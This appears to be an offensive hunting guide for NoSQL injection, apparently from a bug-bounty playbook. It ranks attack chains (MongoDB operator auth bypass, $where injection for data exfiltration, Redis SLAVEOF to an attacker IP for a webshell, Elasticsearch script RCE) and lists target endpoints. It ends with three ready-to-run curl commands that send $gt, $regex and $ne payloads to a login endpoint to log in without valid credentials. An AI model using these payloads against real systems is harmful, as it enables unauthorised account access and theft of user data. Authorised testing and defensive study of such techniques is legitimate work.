HUNT-NOSQLI, NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

• MongoDB auth bypass, {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
• $where JS injection, if $where is enabled: blind injection → data exfil
• Redis command injection, via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
• Elasticsearch injection, _search endpoint with Groovy script injection (pre-5.0) → RCE

---

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal	Vector
MongoDB error messages in response	Operator injection
mongoose / monk in JS bundles	ODM patterns
X-Powered-By: Express	Node.js + MongoDB common stack
CouchDB/_utils UI exposed	Futon/Fauxton admin
Redis port 6379 open (via SSRF)	CONFIG SET / SLAVEOF
Elasticsearch :9200 open	Script injection

---

Step-by-Step Hunting Methodology

Phase 1, Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard, match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'